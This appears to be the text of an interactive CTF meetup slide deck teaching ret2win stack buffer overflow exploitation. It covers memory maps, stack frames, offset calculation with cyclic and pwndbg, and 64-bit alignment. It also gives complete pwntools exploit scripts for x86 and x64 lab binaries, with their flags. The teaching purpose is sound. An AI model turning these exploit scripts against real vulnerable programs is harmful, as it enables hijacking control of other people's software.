Intro to PWN: ret2win
Interactive, Diagram-Driven Guide to Stack Exploitation
Low-level binary exploitation demystified through live interactive memory models, animated stack corruption simulators, and real challenge walkthroughs.
Speaker & Writeup
Mohammad Danish Hakim (Jerit3787)
CS (Network & Security) • MCC Alumni • RE:UN1ON
Visual Roadmap
From Source Code to Machine Instructions
How high-level C abstractions vanish into raw memory addresses
What the Programmer Imagines
void vulnerable() { char buffer[64]; // "Only 64 bytes fit here!" gets(buffer); }
The programmer expects the variable buffer to exist as an isolated container that safely holds up to 64 characters.
What the CPU Actually Sees
sub rsp, 0x40 ; Move stack pointer down 64 bytes call gets ; Reads stdin until newline ret ; Pops whatever is at RSP into RIP!
The CPU has no concept of bounds. It writes contiguous bytes into memory, easily overflowing into adjacent registers and return addresses!
Linux Process Memory Map
Click any segment to inspect its address boundaries, permissions, and exploit role
The Stack
RW- (Read / Write)
Grows downward from high to low memory. Holds local variables (e.g. buffer[64]) and the critical Return Address (RIP/EIP) that dictates where the CPU jumps when a function finishes.
Target of Stack Buffer Overflows! Excessive input overflows past the buffer and overwrites the Return Address, granting total control of the CPU's instruction pointer.
Anatomy of a Stack Frame
Visualizing function boundaries and why overflow reaches the return address
The Opposing Directions
vulnerable() is called, the Return Address is placed higher in memory than the local buffer.
Stack Frame Schematic
▲ Memory writes grow upward toward RBP & RIP
The Buffer Overflow Mechanic
Step-by-step diagram of how memory clobbering occurs
Input <= 64B. Buffer holds data safely. RIP intact.
Buffer is completely filled. Next byte overflows.
72 bytes written. Saved RBP is corrupted.
80 bytes written. Return Address replaced with win()!
0x0000000000401290 (<main+80>)
0x00007fffffffe860
"Hello\0" (5 Bytes) + 59 Free Bytes
0x00000000004011b6 (<win>)
0x4141414141414141 ("AAAAAAAA")
'A' * 64 (Completely Filled to Capacity)
Live Interactive Overflow Simulator
Drag the slider or click presets to watch memory cells corrupt in real-time
Calculating Offsets: cyclic & pwndbg
Never guess payload sizes — calculate exact byte distances mathematically
Generate non-repeating 4B/8B De Bruijn sequence
GDB captures the faulting value in EIP / stack
Instantly reveals exact offset distance
Interactive Pattern Decoder
Test the crash values from Danish's writeup:
Terminal Commands
# In GDB / pwndbg: pwndbg> cyclic 100 aaaabaaacaaadaaaeaaafaaagaaahaaa... pwndbg> run [SIGSEGV crash occurred] pwndbg> cyclic -l <crash_value> Found at offset [exact number]!
Hands-On Practice: x86 (32-bit)
Walkthrough from writeup: `handson/x86/challenge`
Visual Offset Breakdown (76 Bytes)
Total Offset Calculation: 64 + 4 + 4 = 76 bytes!
from pwn import * elf = ELF('./challenge') offset = 76 win_addr = elf.symbols['win'] # 0x080491a6 payload = b'A' * offset + pack(win_addr) p = process('./challenge') p.sendlineafter(b'input: ', payload) p.interactive()
$ python3 solve.py
[+] Starting local process './challenge'
You entered: AAAAAAAAAAAAAAAAA...
🎉 Congratulations! You solved the x86 hands-on!
FLAG{x86_r3t2w1n_b4s1cs}
Hands-On Practice: x64 & The Stack Trap
Why jumping directly to win() crashes on 64-bit systems
The 16-Byte Stack Alignment Trap
The System V AMD64 ABI mandates that RSP must be a multiple of 16 (RSP % 16 == 0) before executing any call instruction. GLIBC uses SSE movaps instructions that instantly crash if unaligned!
ret instruction before the win() address!
Complete x64 Exploit (solve.py)
from pwn import * elf = ELF('./challenge') offset = 72 # 64B buffer + 8B Saved RBP ret_gadget = ROP(elf).find_gadget(['ret'])[0] win_addr = elf.symbols['win'] payload = b'A' * offset payload += p64(ret_gadget) # Fixes 16-byte alignment! payload += p64(win_addr) p = process('./challenge') p.sendlineafter(b'input: ', payload) p.interactive() # Output: FLAG{x64_r3t2w1n_b4s1cs}
Comparison Matrix: x86 vs x64
Visual differences summarized directly from the writeup
| Feature | x86 (32-bit) | x64 (64-bit) |
|---|---|---|
| Hands-on Offset | 76 bytes (64B + 4B EBX + 4B EBP) | 72 bytes (64B + 8B RBP) |
| Register in GDB | EIP shows corrupted addr directly |
RSP top of stack holds corrupted ret addr |
| Pointer Size | 4 bytes (p32()) |
8 bytes (p64()) |
| Calling Convention | All arguments pushed to stack | Registers: RDI, RSI, RDX, RCX, R8, R9 |
| 16-byte Stack Alignment | Not required | Strictly enforced (movaps) |
| Extra Gadget Needed | No gadget needed | Yes (ret gadget required) |
Mini-CTF: x86 Binary
Walkthrough from writeup: `mini-ctf/x86` (`challenge_x86`)
Recon & Offset Math
get_flag() at 0x08049216
sub esp, 0x24 (36B buffer) + 4B EBX + 4B EBP = 44 Bytes
Exploit & Flag
from pwn import * elf = ELF('./challenge_x86') offset = 44 flag_addr = elf.symbols['get_flag'] payload = b'A' * offset + pack(flag_addr) p = remote('127.0.0.1', 9001) # or local process p.sendlineafter(b'>', b'1') p.sendlineafter(b'name? ', payload) p.interactive()
HTB{x86_buff3r_0v3rfl0w_m4st3r}
Mini-CTF: x64 Binary
Walkthrough from writeup: `mini-ctf/x64` (`challenge_x64`)
Recon & Gadget Extraction
scanf("%d") only reads 4 bytes.
faaaaaaa ➔ Offset = 40 Bytes.
rop --grep "ret" ➔ 0x40101a
Exploit & Flag
from pwn import * elf = ELF('./challenge_x64') offset = 40 ret_gadget = 0x40101a flag_addr = elf.symbols['get_flag'] # 0x401276 payload = b'A' * offset + pack(ret_gadget) + pack(flag_addr) p = remote('127.0.0.1', 9002) p.sendlineafter(b'>', b'1') p.sendlineafter(b'name? ', payload) p.interactive()
HTB{x64_st4ck_sm4sh1ng_pr0}
Binary Protections: checksec
Interactive shield matrix of defensive mitigations
checksec Analysis
$ checksec --file=challenge_x64 RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Because Canary and PIE are disabled, our ret2win exploits work with static addresses and without leaking memory!
Defense Matrix
ret.
Apple Silicon Setup: Colima & Ghidra
Split Architecture: Native macOS GUI + Lightweight Headless Linux VM
Terminal & Code Editors
GDB + pwndbg, gcc-multilib, Docker
Attendee Commands
# 1. Start Colima in x86_64 mode colima start --arch x86_64 --vm-type qemu # 2. Enter Linux shell colima ssh # 3. Inside Colima: run tools installer cd /Users/<username>/.../htb-meetup-pwn ./scripts/install-tools.sh --skip-ghidra
Happy Hacking! 🚩
Questions, Comments, & Discussion
Key Takeaway
PWN is about precision: finding memory bounds errors and turning CPU execution flow toward your desired objective.
Detailed Writeup
Full solutions and assembly analysis:
ctf.danplace.tech
Speaker & Slides
Danish Hakim (@jerit3787)
Domain: slides.danplace.tech